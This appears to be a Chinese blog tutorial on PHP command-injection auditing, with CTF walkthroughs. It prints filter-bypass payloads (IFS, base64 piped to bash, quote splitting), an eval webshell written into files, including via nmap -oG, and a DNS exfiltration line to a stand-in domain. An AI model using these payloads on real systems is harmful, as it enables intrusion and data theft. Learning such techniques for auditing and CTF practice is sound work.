PHP代码审计10—命令执行漏洞

一、命令执行漏洞基础

1、漏洞概述与原理

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。 比如下面这个简单的代码场景:

<?php
    system("ping -c 1 ".$_GET['ip']);
?>

当我们传入的IP不是规范的IP,而是夹杂了其他系统命令的时候就可能导致命令执行。比如我们构造payload为:192.168.0.0.1 || whomai

此时,我们通过system执行的命令就是:ping -c 1 192.168.0.0.1 || whomai,由于操作系统允许同事执行多条命令,所以whoami命令就会被执行,导致了命令注入。

2、漏洞检测

对于漏洞检测,我们一般需要观察是否存在可以执行命令的函数,或者是否存在可以注入PHP代码的地方。这里主要探究是否存在命令执行函数的情况下的检测。对于PHP来说,常见的命令执行函数如下:

  • system(): 执行系统命令,并将执行结果输出,只输出正确的结果,错误结果不输出。
  • exec(): 执行命令,但无输出,可以指定output参数,会使用返回结果填充output;如果output参数中已经有元素,exec()会在output后面追加,output参数的返回结果是一个数组。
  • shell_exec(): 执行系统命令,但不会有任何返回结果
  • passthru(): 运行外部程序,并在屏幕上显示结果,类似于system(),对于错误的结果并不会输出。
  • popen(): 打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。
  • proc_open(): 执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。

关于这些函数的具体利用方式可以参考文末的资料。

3、常见命令拼接符

我们在命令执行漏洞利用过程中,往往不是直接替换参数中的命令来进行利用的,而更多的是类似于上面的例子一样,通过拼接命令的方式来进行漏洞利用。所以这里简单介绍了常见的一些命令拼接符。

1)Windows 系统

  • &

    格式:命令1&命令2…命令n
    规则:命令1和命令2一起执行,互不影响
    

    示例如下:

    在这里插入图片描述

  • &&

    格式:命令1&&命令2…命令n
    规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
    

    示例如下:

    在这里插入图片描述

  • |

    格式:命令1|命令2…命令n
    规则:当命令1执行成功时才执行命令2,如果命令1执行不成功则不会执行命令2,在两者都成功的情况下,只显示命令2 的结果。
    

    示例如下:

    在这里插入图片描述

  • ||

    格式:命令1||命令2…命令n
    规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
    

    示例如下:

    在这里插入图片描述

2)Linux系统

相比于Windows系统,Linux系统的"||""|""&&""&"拼接符号功能和Windows一样,但是在shell命令中Linux还定义了一个";"用于表示语句的结尾,可以将多条shell命令通过";"隔开。

  • 格式:命令1;命令2…命令n
    规则:隔开多条shell命令一起执行
    

    示例如下:

    在这里插入图片描述

4、常见防御方法绕过

对于命令执行的绕过方法研究,主要指linux系统下的防护绕过,所以这里也主要是分享linux下的绕过方法。

1)空格过滤绕过
  • 使用间隔符“$IFS“绕过

    利用原理:因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤
    但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag.txt,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析。
    对于linux来说,常见的结束标识符有:',",\等,同时,linux系统还提供了${}操作符来确定变量的范围。
    同时,由于linux存在通配符,所以我们还可以使用通配符来进行匹配,从而让$IFS能够正常结束。
    

    实际操作示例:

    • 利用绝对路径前面的"/"分隔

    在这里插入图片描述

    • 利用通配符“?”分隔

      在这里插入图片描述

    • 利用“${}”分隔

      在这里插入图片描述

  • 使用大括号“{}”绕过

    原理:在bash中"{}"可以当作一个代码块进行执行,命令之间";"隔开,参数用","隔开,但是要注意命令块中不允许有空格
    格式:{命令1,参数1;命令2,参数2....}
    

    使用示例:

    在这里插入图片描述

  • 使用重定向输入符“<”绕过

    原理:通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令,当shell在解析命令时如果遇到文件重定向符号,首先将执行文件重定向符号,比如cat<1.txt,shell在解析这条命令时因为命令中含有"<"输入重定向,所以shell先执行重定向操作,将cat命令输入重定向到1.txt文件中,即cat命令的输入来自于1.txt文件,最后cat命令在执行时直接输出了1.txt文件的内容
    格式:cat<fileName
    Tips: 对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
    

    操作示例:

    在这里插入图片描述

2)黑名单绕过
有时候目标会对一些关键命令的名称进行过滤,这样的过滤称之为黑名单,可以通过一些拼接和通配符等方法绕过黑名单,当然这些方法对一些笨重的过滤函数来说可行,当遇到正则过滤时就显得有些无力了,下面总结了一些常用绕过黑名单的方法,测试这些方法可以写一个命令执行的网页,然后编写简单的过滤规则
  • base64编码绕过

    原理:将要执行的命令提前进行base64命令编码,然后将编码后的命令通过管道符解码并执行。
    示例:
    命令 cat flag.php 编码后为: Y2F0IGZsYWcucGhw
    执行命令:echo  Y2F0IGZsYWcucGhw|base64 -d|bash等效与执行:cat flag.php
    

    示例情况:

    在这里插入图片描述

  • shell局部变量拼接绕过

    原理:在一个shell中定义变量通过名称=值来定义(定义时名称不要加$符号,等号两边不能加空格),查看变量值时可以通过echo $变量名称去查看变量内容,如果直接在命令行中输入变量名称,shell会先解析变量的内容然后将内容当成命令,所以通过将黑名单中过滤的命令名称拆解分成多个变量,然后通过输入变量名称的方式去达到绕过,比如cat flag.php绕过方式如下:
    a=c;b=a;c=t;d=.php;e=ag;f=fl;$a$b$c$IFS$f$e$d
    

    示例情况:

    在这里插入图片描述

  • 引号、内置变量绕过

    引号绕过原理:在linux系统中,如果在命令中插入成对的引号,但是引号内不包含任何字符的话,bash命令程序在执行时就会自动去除引号,执行正常命令。
    内置变量绕过原理:内置变量$1-9,$*,用于获取脚本传入的参数,默认情况下等价于""''。所以也还可以绕过。
    引号绕过示例:ca''t$IFS''flag.php
    内置变量绕过示例:c$1at$IFS$2flag.php
    
    

    引号绕过示例:

    在这里插入图片描述

    内置变量绕过示例:

    在这里插入图片描述

  • 反斜杠绕过

    原理:在shell中反斜杠除了可以转义特殊字符外还可以将命令分成多行,当命令过长时可以通过反斜杠去跨行输入命令。
    比如下面这样:
    

    在这里插入图片描述

    远程执行示例:

    在这里插入图片描述

  • 字符串反序绕过

    原理:字符串反序之后,能够绕过WAF检测,类似于base64编码绕过,不过这里需要注意的是,无论是反序绕过还是编码绕过,都借助了echo命令,如果echo命令同样被过滤的话,就需要加上其他的绕过方法。比如内置变量等。
    示例:
    	先将命令反序:echo ”cat flag.php"|rev ————> php.galf tac
    	执行反序命令:echo$IFS$9php.galf$IFS$9tac|rev|bash
    

    在这里插入图片描述

  • 命令替换绕过

    原理:常见的黑名单比如cat,就可以使用其他查看文件的命令绕过,比如:tail、more、less、head、tailf、nl等。
    

    简单示例:

    在这里插入图片描述

3)命令无回显绕过

对于命令无回显,可能就是目标网站使用的命令执行函数为exec或者shell_exec(),此时执行命令是无回显的,所以我们就需要想办法看到回显内容。常见的回显方法有DNS外带、http外带等,这里简单介绍两种方法,即重定向查看、延时查看和DNS外带。

  • 重定向查看

    原理:如果目标站点可以创建文件,我们可以通过重定向>>>去将命令的输出重定向到一个文件中,然后再访问这个文件
    比如:ls>ls.txt,然后访问ls.txt查看结果
    
  • 延时查看

    原理:和sql延时注入一样,通过判断条件设置页面的回显时间来检查命令是否执行,linux中提供了sleep命令,通过sleep命令配合||命令拼接符去检查命令是否执行,也可以将sleep换成ping命令,将ping包数量设置大一点点,通过F12查看
    示例:echo "<?php @eval($_POST[cmd]); ?>" >>flag.php || sleep 5
    
  • DNS外带

    原理:利用DNS的泛域名解析规则,我们的xx.xxx.xxx.abc.com,都会解析到abc.com上,利用DNS解析记录,将数据附带在DNS要解析的域名中,就会通过解析记录展示出数据。
    示例:ping `whoami`.xxx.abc.cn
    

    简单示例:

    在这里插入图片描述

二、 CTF例题分析

1、BUUCTF 2018 Online tool

先看源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

大致浏览一下,发现需要我们传入一个host参数,然后使用nmap来对该地址进行扫描。

在获取host后,可以发现,使用了escapeshellarg()函数和escapeshellcmd()函数过滤host内容。我们先看看escapeshellarg()函数的作用:

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,执行运算符(反引号)。这里的shell 函数包含 exec(), system() 等。
比如下面这两个例子:
echo escapeshellarg("Hello,world !!!")       ————> 'Hello,world !!!'
echo escapeshellarg("Hello,'world' !!!")     ————> 'Hello,'\''world'\'' !!!'
echo escapeshellarg("'Hello,"world" !!!"'")  ————> ''\''Hello,"world" !!!'

然后看看escapeshellcmd()函数的功能:

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
比如下面的情况:
 echo escapeshellcmd("'127.0.0.1#")    ————> \'192.168.92.1\#
 echo escapeshellcmd("'127.0.0.1'#")   ————> '192.168.92.1'\#

所以经过这两个函数处理后,我们传入正常的IP会是下面这样:

127.0.0.1    ————>'127.0.0.1'

但是当我们在传入的参数中加上单引号之后:

127.0.0.1'   ————>'127.0.0.1'\\''\'

由于\\ 会被解析成\,所以就失去了转义的作用,此时的'127.0.0.1'\\''\' 就相当于 '127.0.0.1' \'.

所以我们这里就可以利用这个问题来构造paylaod:

首先我们需要知道,nmap的 -oG参数可以将代码与命令写到文件中,比如:nmap <?php phpinfo();?> -oG 1.php 就会将phpinfo()写入1.php中。

所以这里我们需要构造一句话木马来写入php文件,让最终执行的命令为:

nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST[cmd]);?> -oG shell.php

所以就要利用上面说到的单引号逃逸来构造paylaod:

?host=' <?php @eval($_POST[cmd]); ?> -oG shell.php '

传入host内容,发现返回了shell文件的地址:

在这里插入图片描述

访问shell文件,发现成功访问,说明命令执行成功,然后使用菜刀连接,成功获取到flag:

在这里插入图片描述

2、CTF.show web31

先看源码:

<?php
// flag in /flag
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以看到,过滤了flag、php等关键字,还有“."也过滤了。考虑上面的绕过方法,我们这里由于没有过滤echo,所以可以使用base64编码的方式绕过。或者使用其他命令替换cat并且使用通配符匹配文件以及使用%20和%09替换空格。

paylaod:

c=echo%09`head%09/fla?`

测试结果:

在这里插入图片描述

三、参考资料

  • 1
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: index.php远程代码执行漏洞是一种安全漏洞,攻击者可以通过该漏洞在受影响的服务器上执行恶意代码。当服务器上的index.php文件存在漏洞时,攻击者可以通过发送特制的请求来注入并执行任意代码,进而获取对服务器的控制权限。 这种漏洞通常是由于代码编写不当、输入验证不完善或者服务器配置不正确造成的。攻击者可以利用该漏洞执行各种恶意活动,包括但不限于:获取敏感信息、篡改网页内容、远程控制服务器、搭建僵尸网络等。 为了保护服务器免受index.php远程代码执行漏洞的影响,我们可以采取以下措施: 1. 及时更新软件版本:经常更新并升级服务器上的软件和应用程序,确保软件版本是最新的。更新包含了对已知漏洞的修复,可以防止攻击者利用该漏洞。 2. 输入验证和过滤:在构建应用程序时,始终对用户输入进行验证和过滤,确保用户提供的数据符合预期。避免将用户输入直接传递到执行命令的函数中,使用安全的输入验证方法来防止代码注入。 3. 加强服务器安全配置:设置适当的权限和访问控制规则,限制对敏感文件和目录的访问。关闭不必要的服务和端口,以减少攻击面。 4. 使用 Web 应用程序防火墙(WAF):WAF 可以检测和拦截恶意请求,阻止攻击者利用远程代码执行漏洞。配置 WAF 来监视和过滤异常和危险的请求。 5. 安全审计和日志监控:定期审计服务器上的代码,查找漏洞并进行修复。记录和监视服务器日志,及时发现异常行为和潜在攻击。 综上所述,为了防止index.php远程代码执行漏洞的利用,我们需要采取多种安全措施来保护服务器和应用程序的安全。及时更新软件、验证输入、加强服务器配置、使用 WAF 和进行安全审计是有效防范该漏洞的重要措施。 ### 回答2: index.php远程代码执行漏洞是一种常见的网络安全漏洞,通常出现在Web应用程序开发中。这种漏洞允许攻击者通过发送恶意的HTTP请求,将恶意代码注入到index.php文件中,以执行任意的系统命令或者暴露敏感信息。 这种漏洞的原因通常是由于开发人员未对用户输入进行充分的过滤和验证,导致攻击者可以通过构造特定的恶意输入来绕过正常的输入验证和过滤机制。攻击者可以通过在URL的参数中插入特定的命令或代码,使服务器执行这些命令或代码,从而实现远程代码执行的目的。 为了防止index.php远程代码执行漏洞的发生,开发人员应该采取以下措施: 1. 输入验证和过滤:对于所有用户输入的数据,都应该进行充分的验证和过滤,确保只接受符合预期格式和内容的数据。 2. 对用户输入进行编码处理:在将用户输入显示到页面上之前,应该对其进行适当的编码,以防止恶意代码的执行。 3. 限制文件系统和数据库的访问权限:在服务器配置中,应该限制PHP文件的访问权限,并且将数据库的访问权限限制在必要的最低级别。 4. 及时更新和修补:及时安装并更新Web应用程序的补丁和安全更新,以防止已知的漏洞被利用。 5. 强化服务器端的安全策略:在服务器端,可以使用防火墙、入侵检测和防护系统来加强安全策略,对恶意访问进行识别和阻止。 综上所述,通过加强输入验证,编码处理和限制访问权限等措施,可以有效防止index.php远程代码执行漏洞的发生。同时,及时更新和修补漏洞,加强服务器端的安全策略也是必要的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值